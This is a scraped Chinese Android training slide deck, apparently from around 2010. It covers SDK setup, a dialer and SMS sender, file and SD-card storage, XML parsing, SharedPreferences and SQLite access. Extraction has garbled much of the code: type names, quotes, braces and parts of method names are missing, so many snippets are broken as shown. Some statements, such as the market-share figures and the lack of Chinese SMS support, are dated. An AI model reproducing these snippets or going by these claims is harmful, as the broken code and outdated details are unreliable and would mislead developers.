android开发培训课件

上传人:新** 文档编号:571383007 上传时间:2024-08-10 格式:PPT 页数:98 大小:1.04MB
返回 下载 相关 举报
android开发培训课件_第1页
第1页 / 共98页
android开发培训课件_第2页
第2页 / 共98页
android开发培训课件_第3页
第3页 / 共98页
android开发培训课件_第4页
第4页 / 共98页
android开发培训课件_第5页
第5页 / 共98页
点击查看更多>>
资源描述

《android开发培训课件》由会员分享,可在线阅读,更多相关《android开发培训课件(98页珍藏版)》请在金锄头文库上搜索。

1、3G3G应用开发之应用开发之AndroidAndroid什么是3G3G,全称为3rd Generation,中文含义就是指第三代数字通信。所谓3G,是指将无线通信与国际互联网等多媒体通信结合的新一代移动通信系统。 3G只是一种通信技术标准,符合这个标准的技术有WCDMA、CDMA2000、TD-SCDMA三种制式。中国联通使用的是WCDMA(世界上大部分3G网络都采用的是该标准) ;中国电信使用的是CDMA2000 (日、韩和北美使用);中国移动使用的是具有自主知识产权的TD-SCDMA(只有中国才使用) 。相对第一代模拟制式手机(1G)和第二代GSM、CDMA等数字手机(2G),3G网络能处

2、理图像、音乐、视频等多种媒体形式,提供包括网页浏览、电话会议、电子商务等多种信息服务。第三代与前两代的主要区别是在传输声音和数据的速度上有很大的提升。由于3G商用需要相当浩大的工程,要从目前的2G迈向3G不可能一下就衔接得上,因此前几年2.5G的手机就出现了。符合2.5G标准的技术有CDMA2000 1X和GPRS,中国联通使用的是CDMA2000 1X标准,中国移动使用的是GPRS标准。目前,我们可以把2.5G移动通信技术看作是2G迈向3G的衔接性技术,在2.5G网络下出现了如WAP、蓝牙(Bluetoot) 等技术。 智能手机软件平台智能手机软件平台有:Symbian, Windows M

3、obile, RIM BlackBerry, Android, iPhone, Palm, Brew, Java/J2ME。2009年市场份额:Symbian 51%RIM BlackBerry 18%iPhone 13.3windows Mobile 9.3%linux 4.6%Android 1.8%什么是AndroidAndroidAndroid一词的本义指“机器人”,Android是Google于07年11月5日宣布的基于Linux平台开源手机操作系统名称,该平台由操作系统、中间件、用户界面和应用软件组成。在国内,联想、戴尔、多普达、飞利浦、中兴、三星、摩托罗拉、等厂商已经推出基于An

4、droid平台的智能手机。在3G应用开发领域,Android的发展前景不容小视,也将会成为未来主流的手机操作系统。如何安装 Android SDK 和Eclipse 插件所需开发环境所需开发环境:JDK 5 或 JDK 6 (仅有JRE不够) Eclipse 3.5 (galileo)下载下载ADT 的的Eclipse 插件插件 安装安装 Eclipse 插件插件 (ADT)启动 Eclipse,选择 Help Install New Software,在出现的对话框里,点击Add按钮,在对话框的name一栏输入“ADT”, 然后点击Archive.,浏览和选择已经下载的ADT插件插件压缩文件

5、。 点击 OK.。返回可用软件的视图,你会看到这个插件,然后选择Developer Tools (会选中下面的“Android Developer Tools”和 “Android Editors“),点击 Next,最后重启 Eclipse。下载下载Android SDK:下载完SDK后,把.zip文件解压到你电脑上合适位置。启动 Eclipse,选择window-preferences,在打开的视图左边点击android,在右边的SDK Location中选择Android SDK所在位置。开发第一个Android应用打开Eclipse,新建项目(点击FileNewProject),在项目

6、列表中展开Android目录,选择Android Project,如下图:开发第一个Android应用开发第一个Android应用点击”finish”即可完成项目的创建,创建后的项目已经是一个可运行的Android应用,我们可以通过下面方式运行此应用:点击工具栏上手机形状的虚拟设备管理器(简称“AVD“),如下:开发第一个Android应用在打开的虚拟设备管理器中创建一个虚拟手机:开发第一个Android应用在项目上右键点击run as Android application,如下图:Android应用程序架构src/ java原代码存放目录原代码存放目录gen/ 自动生成目录自动生成目录ge

7、n 目录中存放所有由Android开发工具自动生成的文件。目录中最重要的就是R.java文件。 这个文件由Android开发工具自动产生的。Android开发工具会自动根据你放入res目录的xml界面文件、图标与常量,同步更新修改R.java文件。正因为R.java文件是由开发工具自动生成的,所以我们应避免手工修改R.java。R.java在应用中起到了字典的作用,它包含了界面、图标、常量等各种资源的id,通过R.java,应用可以很方便地找到对应资源。另外编绎器也会检查R.java列表中的资源是否被使用到,没有被使用到的资源不会编绎进软件中,这样可以减少应用在手机占用的空间。res/ 资源资

8、源(Resource)目录目录在这个目录中我们可以存放应用使用到的各种资源,如xml界面文件,图片或数据。具体请看ppt下方备注栏。AndroidManifest.xml 功能清单文件功能清单文件 这个文件列出了应用程序所提供的功能,在这个文件中,你可以指定应用程序使用到的服务(如电话服务、互联网服务、短信服务、GPS服务等等)。另外当你新添加一个Activity的时候,也需要在这个文件中进行相应配置,只有配置好后,才能调用此Activity。default.properties 项目环境信息项目环境信息,一般是不需要修改此文件电话拔号器效果图:电话拔号器因为应用要使用手机的电话服务,所以要在

9、清单文件AndroidManifest.xml中添加电话服务权限: 略. 电话拔号器界面布局: LinearLayout (线性布局)、AbsoluteLayout(绝对布局)、RelativeLayout(相对布局)、TableLayout(表格布局)、FrameLayout(帧布局)电话拔号器Activity:public class DialerAction extends Activity Override public void onCreate(Bundle savedInstanceState) super.onCreate(savedInstanceState); setCon

10、tentView(R.layout.main); Button button = (Button)findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener()public void onClick(View v) EditText editText = (EditText)findViewById(R.id.mobile); Intent intent = new Intent(Intent.ACTION_CALL, Uri.parse(tel:+ editText.getText(); Dial

11、erAction.this.startActivity(intent); ); 电话拔号器测试步骤: 1在Eclipse中运行此应用 2在Dos窗口中进入android SDK安装路径的tools目录,输入以下命令再开启一个Android模拟器: emulator -data itcast 注:itcast为用户数据存取文件,如果该文件不存在,默认在tools目录创建该文件 3在电话扰号器中输入上图现显的电话号码短信发送器效果图:短信发送器因为应用要使用手机的短信服务,所以要在清单文件AndroidManifest.xml中添加短信服务权限: 略. 短信发送器界面布局: 短信发送器Activi

12、ty主要代码:String mobile = mobileView.getText().toString();String content = contentView.getText().toString(); SmsManager smsManager = SmsManager.getDefault(); PendingIntent sentIntent = PendingIntent.getBroadcast(SMSSender.this, 0, new Intent(), 0);if(content.length()70)/如果字数超过70,需拆分成多条短信发送 List msgs =

13、smsManager.divideMessage(content); for(String msg : msgs) smsManager.sendTextMessage(mobile, null, msg, sentIntent, null); /最后二个参数为短信已发送的广播意图,最后一个参数为短信对方已收到短信的广播意图 else smsManager.sendTextMessage(mobile, null, content, sentIntent, null);Toast.makeText(SMSSender.this, 短信发送完成, Toast.LENGTH_LONG).show(

14、);短信发送器测试步骤: 1在Eclipse中运行此应用 2在Dos窗口中进入android SDK安装路径的tools目录,输入以下命令再开启一个Android模拟器: emulator -data itcast 注:itcast为用户数据存取文件,如果该文件不存在,默认在tools目录创建该文件 3在短信发送器的手机号中输入上图现显的电话号码注:目前Android系统对中文短信尚未支持,所以发送中文短信会有乱码,这个问题日后会被解决的。数据存储与访问很多时候我们的软件需要对处理后的数据进行存储或再次访问。Android为数据存储提供了多种方式,分别有如下几种:l文件lSharedPrefe

15、renceslSQLite数据库l内容提供者(Content provider)l网络使用文件进行数据存储首先给大家介绍使用文件如何对数据进行存储,Activity提供了open()方法可以用于把数据输出到文件中,具体的实现过程与在J2SE环境中保存数据到文件中是一样的。public class extends Activity Override public void onCreate(Bundle savedInstanceState) . outStream = this.open(itcast.txt, Context.MODE_PRIVATE); outStream.write(传智

16、播客.getBytes(); outStream.close(); open()方法的第一参数用于指定文件名称,不能包含路径分隔符“/” ,如果文件不存在,Android 会自动创建它。创建的文件保存在/data/data/files目录,如: /data/data/cn.itcast.action/ ,通过点击Eclipse菜单“Window”-“Show View”-“Other”,在对话窗口中展开android文件夹,选择下面的视图,然后在视图中展开/data/data/files目录就可以看到该文件。open()方法的第二参数用于指定操作模式,有四种模式,分别为: Context.MO

17、DE_PRIVATE = 0Context.MODE_APPEND = 32768Context.MODE_WORLD_READABLE = 1Context.MODE_WORLD_WRITEABLE = 2使用文件进行数据存储Context.MODE_PRIVATE:为默认操作模式,代表该文件是私有数据,只能被应用本身访问,在该模式下,写入的内容会覆盖原文件的内容,如果想把新写入的内容追加到原文件中。可以使用Context.MODE_APPENDContext.MODE_APPEND:模式会检查文件是否存在,存在就往文件追加内容,否则就创建新文件。Context.MODE_WORLD_REA

18、DABLE和Context.MODE_WORLD_WRITEABLE用来控制其他应用是否有权限读写该文件。MODE_WORLD_READABLE:表示当前文件可以被其他应用读取;MODE_WORLD_WRITEABLE:表示当前文件可以被其他应用写入。如果希望文件被其他应用读和写,可以传入: open(itcast.txt, Context.MODE_WORLD_READABLE + Context.MODE_WORLD_WRITEABLE);android有一套自己的安全模型,当应用程序(.apk)在安装时系统就会分配给他一个userid,当该应用要去访问其他资源比如文件的时候,就需要use

19、rid匹配。默认情况下,任何应用创建的文件,sharedpreferences,数据库都应该是私有的(位于/data/data/files),其他程序无法访问。除非在创建时指定了Context.MODE_WORLD_READABLE或者Context.MODE_WORLD_WRITEABLE ,只有这样其他程序才能正确访问。读取文件内容如果要打开存放在/data/data/files目录应用私有的文件,可以使用Activity提供open()方法。 inStream = this.getContext().open(itcast.txt);Log.i(, readInStream(inStre

20、am);readInStream()的方法请看本页下面备注。或者直接使用文件的绝对路径: = new File(/data/data/cn.itcast.action/); inStream = new (file);Log.i(, readInStream(inStream);注意:上面文件路径中的“cn.itcast.action”为应用所在包,当你在编写代码时应替换为你自己应用使用的包。对于私有文件只能被创建该文件的应用访问,如果希望文件能被其他应用读和写,可以在创建文件时,指定Context.MODE_WORLD_READABLE和Context.MODE_WORLD_WRITEABL

21、E权限。Activity还提供了getCacheDir()和get()方法:getCacheDir()方法用于获取/data/data/cache目录get()方法用于获取/data/data/files目录把文件存放在SDCard使用Activity的open()方法保存文件,文件是存放在手机空间上,一般手机的存储空间不是很大,存放些小文件还行,如果要存放像视频这样的大文件,是不可行的。对于像视频这样的大文件,我们可以把它存放在SDCard。 SDCard是干什么的?你可以把它看作是移动硬盘或U盘。在模拟器中使用SDCard,你需要先创建一张SDCard卡(当然不是真的SDCard,只是镜像

22、文件)。创建SDCard可以在Eclipse创建模拟器时随同创建,也可以使用DOS命令进行创建,如下:在Dos窗口中进入android SDK安装路径的tools目录,输入以下命令创建一张容量为2G的SDCard,文件后缀可以随便取,建议使用.img:mksdcard 2048M D:AndroidToolsdcard.img在程序中访问在程序中访问SDCard,你需要申请访问你需要申请访问SDCard的权限。的权限。在AndroidManifest.xml中加入访问SDCard的权限如下:把文件存放在SDCard要往SDCard存放文件,程序必须先判断手机是否装有SDCard,并且可以进行读

23、写。注意:访问SDCard必须在AndroidManifest.xml中加入访问SDCard的权限if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED) = Environment.getExternalStorageDirectory();/获取SDCard目录 = new , “itcast.txt”); outStream = new (saveFile);outStream.write(传智播客.getBytes();outStream.close();Environment.getExter

24、nalStorageState()方法用于获取SDCard的状态,如果手机装有SDCard,并且可以进行读写,那么方法返回的状态等于Environment.MEDIA_MOUNTED。Environment.getExternalStorageDirectory()方法用于获取SDCard的目录,当然要获取SDCard的目录,你也可以这样写: = new File(/sdcard); /获取SDCard目录 = new , itcast.txt); /上面两句代码可以合成一句: = new File(/sdcard/itcast.txt); outStream = new (saveFile)

25、;outStream.write(传智播客test.getBytes();outStream.close();使用SAX或者DOM或者pull读取XML文件在Android平台上可以使用Simple API for XML(SAX) 、 Document Object Model(DOM)和Android附带的pull解析器解析XML文件。 下面是本例子要解析的XML文件:文件名称:itcast.xml李明30李向梅25例子定义了一个javabean用于存放上面解析出来的xml内容, 这个javabean为Person,代码请见本页下面备注:使用SAX读取XML文件SAX是一个解析速度快并且占

26、用内存少的xml解析器,非常适合用于Android等移动设备。 SAX解析XML文件采用的是事件驱动,也就是说,它并不需要解析完整个文档,在按内容顺序解析文档的过程中,SAX会判断当前读到的字符是否合法XML语法中的某部分,如果符合就会触发事件。所谓事件,其实就是一些回调(callback)方法,这些方法(事件)定义在ContentHandler接口。下面是一些ContentHandler接口常用的方法:startDocument()当遇到文档的开头的时候,调用这个方法,可以在其中做一些预处理的工作。endDocument()和上面的方法相对应,当文档结束的时候,调用这个方法,可以在其中做一些

27、善后的工作。 startElement(String namespaceURI, String localName, String qName, Attributes atts) 当读到一个开始标签的时候,会触发这个方法。namespaceURI就是命名空间,localName是不带命名空间前缀的标签名,qName是带命名空间前缀的标签名。通过atts可以得到所有的属性名和相应的值。要注意的是SAX中一个重要的特点就是它的流式处理,当遇到一个标签的时候,它并不会纪录下以前所碰到的标签,也就是说,在startElement()方法中,所有你所知道的信息,就是标签的名字和属性,至于标签的嵌套结构,

28、上层标签的名字,是否有子元属等等其它与结构相关的信息,都是不得而知的,都需要你的程序来完成。这使得SAX在编程处理上没有DOM来得那么方便。endElement(String uri, String localName, String name)这个方法和上面的方法相对应,在遇到结束标签的时候,调用这个方法。characters(char ch, int start, int length) 这个方法用来处理在XML文件中读到的内容,第一个参数用于存放文件的内容,后面两个参数是读到的字符串在这个数组中的起始位置和长度,使用new String(ch,start,length)就可以获取内容。使

29、用SAX读取XML文件只要为SAX提供实现ContentHandler接口的类,那么该类就可以得到通知事件(实际上就是SAX调用了该类中的回调方法)。因为ContentHandler是一个接口,在使用的时候可能会有些不方便,因此,SAX还为其制定了一个Helper类:DefaultHandler,它实现了这个接口,但是其所有的方法体都为空,在实现的时候,你只需要继承这个类,然后重载相应的方法即可。使用SAX解析itcast.xml的代码如下:public static List readXML(InputStream inStream) try SAXParserFactory spf = S

30、AXParserFactory.newInstance();SAXParser saxParser = spf.newSAXParser(); /创建解析器/设置解析器的相关特性, = true 表示开启命名空间特性 saxParser.setProperty(,true);XMLContentHandler handler = new XMLContentHandler();saxParser.parse(inStream, handler);inStream.close();return handler.getPersons(); catch (Exception e) e.printSt

31、ackTrace(); return null;SAX 支持已内置到JDK1.5中,你无需添加任何的jar文件。关于XMLContentHandler的代码实现请看本页下面备注。使用DOM读取XML文件除了可以使用 SAX解析XML文件,大家也可以使用熟悉的DOM来解析XML文件。 DOM解析XML文件时,会将XML文件的所有内容读取到内存中,然后允许您使用DOM API遍历XML树、检索所需的数据。使用DOM操作XML的代码看起来比较直观,并且,在某些方面比基于SAX的实现更加简单。但是,因为DOM需要将XML文件的所有内容读取到内存中,所以内存的消耗比较大,特别对于运行Android的移动

32、设备来说,因为设备的资源比较宝贵,所以建议还是采用SAX来解析XML文件,当然,如果XML文件的内容比较小采用DOM是可行的。代码请看本页下方备注使用Pull解析器读取XML文件除了可以使用 SAX和DOM解析XML文件,大家也可以使用Android内置的Pull解析器解析XML文件。 Pull解析器的运行方式与 SAX 解析器相似。它提供了类似的事件,如:开始元素和结束元素事件,使用parser.next()可以进入下一个元素并触发相应事件。事件将作为数值代码被发送,因此可以使用一个switch对感兴趣的事件进行处理。当元素开始解析时,调用parser.nextText()方法可以获取下一个

33、Text类型元素的值。使用Pull解析器读取itcast.xml的代码在本页下方备注Pull解析器的源码及文档下载网址:使用Pull解析器生成XML文件有些时候,我们需要生成一个XML文件,生成XML文件的方法有很多,如:可以只使用一个StringBuilder组拼XML内容,然后把内容写入到文件中;或者使用DOM API生成XML文件,或者也可以使用pull解析器生成XML文件,这里推荐大家使用Pull解析器。使用Pull解析器生成一个与itcast.xml文件内容相同的myitcast.xml文件,代码在本页下方备注使用代码如下(生成XML文件): = new File(myitcast.

34、xml); outStream = new (xmlFile);OutputStreamWriter outStreamWriter = new OutputStreamWriter(outStream, UTF-8);BufferedWriter writer = new BufferedWriter(outStreamWriter);writeXML(persons, writer);writer.flush();writer.close();如果只想得到生成的xml内容,可以使用StringWriter:StringWriter writer = new StringWriter();w

35、riteXML(persons, writer);String content = writer.toString();使用SharedPreferences进行数据存储很多时候我们开发的软件需要向用户提供软件参数设置功能,例如我们常用的QQ,用户可以设置是否允许陌生人添加自己为好友。对于软件配置参数的保存,如果是window软件通常我们会采用ini文件进行保存,如果是j2se应用,我们会采用properties属性文件进行保存。如果是Android应用,我们最适合采用什么方式保存软件配置参数呢?Android平台给我们提供了一个SharedPreferences类,它是一个轻量级的存储类,特

36、别适合用于保存软件配置参数。使用SharedPreferences保存数据,其背后是用xml文件存放数据,文件存放在/data/data/shared_prefs目录下:SharedPreferences sharedPreferences = getSharedPreferences(itcast, Context.MODE_PRIVATE);Editor editor = sharedPreferences.edit();/获取编辑器editor.putString(name, 传智播客);editor.putInt(age, 4);mit();/提交修改生成的itcast.xml文件内容

37、如下:传智播客因为SharedPreferences背后是使用xml文件保存数据,getSharedPreferences(name,mode)方法的第一个参数用于指定该文件的名称,名称不用带后缀,后缀会由Android自动加上。方法的第二个参数指定文件的操作模式,共有四种操作模式,这四种模式前面介绍使用文件方式保存数据时已经讲解过。如果希望SharedPreferences背后使用的xml文件能被其他应用读和写,可以指定Context.MODE_WORLD_READABLE和Context.MODE_WORLD_WRITEABLE权限。另外Activity还提供了另一个getPreferen

38、ces(mode)方法操作SharedPreferences,这个方法默认使用当前类不带包名的类名作为文件的名称。访问SharedPreferences中的数据访问SharedPreferences中的数据代码如下:SharedPreferences sharedPreferences = getSharedPreferences(itcast, Context.MODE_PRIVATE);/getString()第二个参数为缺省值,如果preference中不存在该key,将返回缺省值String name = sharedPreferences.getString(name, );int

39、age = sharedPreferences.getInt(age, 1);如果访问其他应用中的Preference,前提条件是:该preference创建时指定了Context.MODE_WORLD_READABLE或者Context.MODE_WORLD_WRITEABLE权限。如:有个为cn.itcast.action的应用使用下面语句创建了preference。getSharedPreferences(itcast, Context.MODE_WORLD_READABLE);其他应用要访问上面应用的preference,首先需要创建上面应用的Context,然后通过Context 访

40、问preference ,访问preference时会在应用所在包下的shared_prefs目录找到preference :Context otherAppsContext = createPackageContext(cn.itcast.action, Context.CONTEXT_IGNORE_SECURITY);SharedPreferences sharedPreferences = otherAppsContext.getSharedPreferences(itcast, Context.MODE_WORLD_READABLE);String name = sharedPrefe

41、rences.getString(name, );int age = sharedPreferences.getInt(age, 0);如果不通过创建Context访问其他应用的preference,可以以读取xml文件方式直接访问其他应用preference对应的xml文件,如: = new File(“/data/data/shared_prefs/itcast.xml”);/应替换成应用的包名使用嵌入式关系型SQLite数据库存储数据除了可以使用文件或SharedPreferences存储数据,还可以选择使用SQLite数据库存储数据。在Android平台上,集成了一个嵌入式关系型数据库

42、SQLite,SQLite3支持 NULL、INTEGER、REAL(浮点数字)、TEXT(字符串文本)和BLOB(二进制对象)数据类型,虽然它支持的类型虽然只有五种,但实际上sqlite3也接受varchar(n)、char(n)、decimal(p,s) 等数据类型,只不过在运算或保存时会转成对应的五种数据类型。 SQLite最大的特点是你可以保存任何类型的数据到任何字段中,无论这列声明的数据类型是什么。例如:可以在Integer字段中存放字符串,或者在布尔型字段中存放浮点数,或者在字符型字段中存放日期型值。 但有一种情况例外:定义为INTEGER PRIMARY KEY的字段只能存储64

43、位整数, 当向这种字段中保存除整数以外的数据时,将会产生错误。 另外, SQLite 在解析CREATE TABLE 语句时,会忽略 CREATE TABLE 语句中跟在字段名后面的数据类型信息,如下面语句会忽略 name字段的类型信息:CREATE TABLE person (personid integer primary key autoincrement, name varchar(20)SQLite可以解析大部分标准SQL语句,如:查询语句:select * from 表名 where 条件子句 group by 分组字句 having . order by 排序子句如:select

44、 * from person select * from person order by id desc select name from person group by name having count(*)1分页SQL与mysql类似,下面SQL语句获取5条记录,跳过前面3条记录select * from Account limit 5 offset 3 或者 select * from Account limit 3,5插入语句:insert into 表名(字段列表) values(值列表)。如: insert into person(name, age) values(传智,3)更

45、新语句:update 表名 set 字段名=值 where 条件子句。如:update person set name=传智 where id=10删除语句:delete from 表名 where 条件子句。如:delete from person where id=10使用SQLiteDatabase操作SQLite数据库Android提供了一个名为SQLiteDatabase的类,该类封装了一些操作数据库的API,使用该类可以完成对数据进行添加(Create)、查询(Retrieve)、更新(Update)和删除(Delete)操作(这些操作简称为CRUD)。对SQLiteDatabas

46、e的学习,我们应该重点掌握execSQL()和rawQuery()方法。 execSQL()方法可以执行insert、delete、update和CREATE TABLE之类有更改行为的SQL语句; rawQuery()方法可以执行select语句。execSQL()方法的使用例子:SQLiteDatabase db = .;db.execSQL(insert into person(name, age) values(传智播客, 4);db.close();执行上面SQL语句会往person表中添加进一条记录,在实际应用中, 语句中的“传智播客”这些参数值应该由用户输入界面提供,如果把用户输

47、入的内容原样组拼到上面的insert语句, 当用户输入的内容含有单引号时,组拼出来的SQL语句就会存在语法错误。要解决这个问题需要对单引号进行转义,也就是把单引号转换成两个单引号。有些时候用户往往还会输入像“ & ”这些特殊SQL符号,为保证组拼好的SQL语句语法正确,必须对SQL语句中的这些特殊SQL符号都进行转义,显然,对每条SQL语句都做这样的处理工作是比较烦琐的。 SQLiteDatabase类提供了一个重载后的execSQL(String sql, Object bindArgs)方法,使用这个方法可以解决前面提到的问题,因为这个方法支持使用占位符参数(?)。使用例子如下:SQLit

48、eDatabase db = .;db.execSQL(insert into person(name, age) values(?,?), new Object传智播客, 4); db.close();execSQL(String sql, Object bindArgs)方法的第一个参数为SQL语句,第二个参数为SQL语句中占位符参数的值,参数值在数组中的顺序要和占位符的位置对应。使用SQLiteDatabase操作SQLite数据库SQLiteDatabase的rawQuery() 用于执行select语句,使用例子如下: SQLiteDatabase db = .;Cursor cur

49、sor = db.rawQuery(“select * from person”, null);while (cursor.moveToNext() int personid = cursor.getInt(0); /获取第一列的值,第一列的索引从0开始String name = cursor.getString(1);/获取第二列的值int age = cursor.getInt(2);/获取第三列的值cursor.close();db.close(); rawQuery()方法的第一个参数为select语句;第二个参数为select语句中占位符参数的值,如果select语句没有使用占位符,

50、该参数可以设置为null。带占位符参数的select语句使用例子如下:Cursor cursor = db.rawQuery(select * from person where name like ? and age=?, new String%传智%, 4);Cursor是结果集游标,用于对结果集进行随机访问,如果大家熟悉jdbc, 其实Cursor与JDBC中的ResultSet作用很相似。使用moveToNext()方法可以将游标从当前行移动到下一行,如果已经移过了结果集的最后一行,返回结果为false,否则为true。另外Cursor 还有常用的moveToPrevious()方法(

51、用于将游标从当前行移动到上一行,如果已经移过了结果集的第一行,返回值为false,否则为true )、moveToFirst()方法(用于将游标移动到结果集的第一行,如果结果集为空,返回值为false,否则为true )和moveToLast()方法(用于将游标移动到结果集的最后一行,如果结果集为空,返回值为false,否则为true ) 。使用SQLiteDatabase操作SQLite数据库除了前面给大家介绍的execSQL()和rawQuery()方法, SQLiteDatabase还专门提供了对应于添加、删除、更新、查询的操作方法: insert()、delete()、update()

52、和query() 。这些方法实际上是给那些不太了解SQL语法的菜鸟使用的,对于熟悉SQL语法的程序员而言,直接使用execSQL()和rawQuery()方法执行SQL语句就能完成数据的添加、删除、更新、查询操作。Insert()方法用于添加数据,各个字段的数据使用ContentValues进行存放。 ContentValues类似于MAP,相对于MAP,它提供了存取数据对应的put(String key, Xxx value)和getAsXxx(String key)方法, key为字段名称,value为字段值,Xxx指的是各种常用的数据类型,如:String、Integer等。SQLite

53、Database db = databaseHelper.getWritableDatabase();ContentValues values = new ContentValues();values.put(name, 传智播客);values.put(age, 4);long rowid = db.insert(“person”, null, values);/返回新添记录的行号,与主键id无关不管第三个参数是否包含数据,执行Insert()方法必然会添加一条记录,如果第三个参数为空,会添加一条除主键之外其他字段值为Null的记录。Insert()方法内部实际上通过构造insert语句完成

54、数据的添加,Insert()方法的第二个参数用于指定空值字段的名称,相信大家对此参数会感到疑惑,此参数的作用是干嘛的?是这样的:如果第三个参数values 为Null或者元素个数为0, Insert()方法必然要添加一条除了主键之外其它字段为Null值的记录,为了满足这条insert语句的语法, insert语句必须给定一个字段名,如:insert into person(name) values(NULL),倘若不给定字段名 , insert语句就成了这样: insert into person() values(),显然这不满足标准SQL的语法。对于字段名,建议使用主键之外的字段,如果使用

55、了INTEGER类型的主键字段,执行类似insert into person(personid) values(NULL)的insert语句后,该主键字段值也不会为NULL。如果第三个参数values 不为Null并且元素的个数大于0 ,可以把第二个参数设置为null。使用SQLiteDatabase操作SQLite数据库delete()方法的使用:SQLiteDatabase db = databaseHelper.getWritableDatabase();db.delete(person, personid?, new String2);db.close();上面代码用于从person表

56、中删除personid小于2的记录。update()方法的使用:SQLiteDatabase db = databaseHelper.getWritableDatabase();ContentValues values = new ContentValues();values.put(“name”, “传智播客”);/key为字段名,value为值db.update(person, values, personid=?, new String1); db.close();上面代码用于把person表中personid等于1的记录的name字段的值改为“传智播客”。使用SQLiteDatabas

57、e操作SQLite数据库query()方法实际上是把select语句拆分成了若干个组成部分,然后作为方法的输入参数:SQLiteDatabase db = databaseHelper.getWritableDatabase();Cursor cursor = db.query(person, new Stringpersonid,name,age, name like ?, new String%传智%, null, null, personid desc, 1,2);while (cursor.moveToNext() int personid = cursor.getInt(0); /获

58、取第一列的值,第一列的索引从0开始 String name = cursor.getString(1);/获取第二列的值 int age = cursor.getInt(2);/获取第三列的值cursor.close();db.close(); 上面代码用于从person表中查找name字段含有“传智”的记录,匹配的记录按personid降序排序,对排序后的结果略过第一条记录,只获取2条记录。query(table, columns, selection, selectionArgs, groupBy, having, orderBy, limit)方法各参数的含义:table:表名。相当于s

59、elect语句from关键字后面的部分。如果是多表联合查询,可以用逗号将两个表名分开。columns:要查询出来的列名。相当于select语句select关键字后面的部分。selection:查询条件子句,相当于select语句where关键字后面的部分,在条件子句允许使用占位符“?”selectionArgs:对应于selection语句中占位符的值,值在数组中的位置与占位符在语句中的位置必须一致,否则就会有异常。groupBy:相当于select语句group by关键字后面的部分having:相当于select语句having关键字后面的部分orderBy:相当于select语句orde

60、r by关键字后面的部分,如:personid desc, age asc;limit:指定偏移量和获取的记录数,相当于select语句limit关键字后面的部分。使用SQLiteOpenHelper对数据库进行版本管理如果应用使用到了SQLite数据库,在用户初次使用软件时,需要创建应用使用到的数据库表结构及添加一些初始化记录,另外在软件升级的时候,也需要对数据表结构进行更新。在Android系统,为我们提供了一个名为SQLiteOpenHelper的类,该类用于对数据库版本进行管理,该类是一个抽象类,必须继承它才能使用。 为了实现对数据库版本进行管理,SQLiteOpenHelper类有两

61、种重要的方法,分别是onCreate(SQLiteDatabase db)和onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion)当调用SQLiteOpenHelper的getWritableDatabase()或者getReadableDatabase()方法获取用于操作数据库的SQLiteDatabase实例的时候,如果数据库不存在,Android系统会自动生成一个数据库,接着调用onCreate()方法,onCreate()方法在初次生成数据库时才会被调用,在onCreate()方法里可以生成数据库表结构及添加一些应用使用

62、到的初始化数据。onUpgrade()方法在数据库的版本发生变化时会被调用,数据库的版本是由程序员控制的,假设数据库现在的版本是1,由于业务的需要,修改了数据库表的结构,这时候就需要升级软件,升级软件时希望更新用户手机里的数据库表结构,为了实现这一目的,可以把原来的数据库版本设置为2(有同学问设置为3行不行?当然可以,如果你愿意,设置为100也行),并且在onUpgrade()方法里面实现表结构的更新。当软件的版本升级次数比较多,这时在onUpgrade()方法里面可以根据原版号和目标版本号进行判断,然后作出相应的表结构及数据更新。getWritableDatabase()和getReadab

63、leDatabase()方法都可以获取一个用于操作数据库的SQLiteDatabase实例。但getWritableDatabase() 方法以读写方式打开数据库,一旦数据库的磁盘空间满了,数据库就只能读而不能写,倘若使用的是getWritableDatabase() 方法就会出错。getReadableDatabase()方法先以读写方式打开数据库,如果数据库的磁盘空间满了,就会打开失败,当打开失败后会继续尝试以只读方式打开数据库。使用SQLiteOpenHelper对数据库进行版本管理public class DatabaseHelper extends SQLiteOpenHelper

64、/类没有实例化,是不能用作父类构造器的参数,必须声明为静态 private static final String name = itcast; /数据库名称 private static final int version = 1; /数据库版本 public DatabaseHelper(Context context) /第三个参数CursorFactory指定在执行查询时获得一个游标实例的工厂类,设置为null,代表使用系统默认的工厂类 super(context, name, null, version); Override public void onCreate(SQLiteDa

65、tabase db) db.execSQL(CREATE TABLE IF NOT EXISTS person (personid integer primary key autoincrement, name varchar(20), age INTEGER); Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) db.execSQL(DROP TABLE IF EXISTS person); onCreate(db); 上面onUpgrade()方法在数据库版本每次发生变化时都会

66、把用户手机上的数据库表删除,然后再重新创建。一般在实际项目中是不能这样做的,正确的做法是在更新数据库表结构时,还要考虑用户存放于数据库中的数据不会丢失。使用SQLiteOpenHelper获取用于操作数据库的SQLiteDatabase实例public class DatabaseHelper extends SQLiteOpenHelper private static final String name = itcast; /数据库名称 private static final int version = 1; /数据库版本 .略public class HelloActivity ext

67、ends Activity Override public void onCreate(Bundle savedInstanceState) . Button button =(Button) this.findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener()public void onClick(View v) DatabaseHelper databaseHelper = new DatabaseHelper(HelloActivity.this);SQLiteDatabase db =

68、databaseHelper.getWritableDatabase();db.execSQL(insert into person(name, age) values(?,?), new Object传智播客, 4);db.close(); ); 第一次调用getWritableDatabase()或getReadableDatabase()方法后,SQLiteOpenHelper会缓存当前的SQLiteDatabase实例,SQLiteDatabase实例正常情况下会维持数据库的打开状态,所以在你不再需要SQLiteDatabase实例时,请及时调用close()方法释放资源。一旦SQLi

69、teDatabase实例被缓存,多次调用getWritableDatabase()或getReadableDatabase()方法得到的都是同一实例。使用事务操作SQLite数据库使用SQLiteDatabase的beginTransaction()方法可以开启一个事务,程序执行到endTransaction() 方法时会检查事务的标志是否为成功,如果为成功则提交事务,否则回滚事务。当应用需要提交事务,必须在程序执行到endTransaction()方法之前使用setTransactionSuccessful() 方法设置事务的标志为成功,如果不调用setTransactionSuccessf

70、ul() 方法,默认会回滚事务。使用例子如下: SQLiteDatabase db = .;db.beginTransaction();/开始事务try db.execSQL(insert into person(name, age) values(?,?), new Object传智播客, 4); db.execSQL(update person set name=? where personid=?, new Object传智, 1); db.setTransactionSuccessful();/调用此方法会在执行到endTransaction() 时提交当前事务,如果不调用此方法会回滚

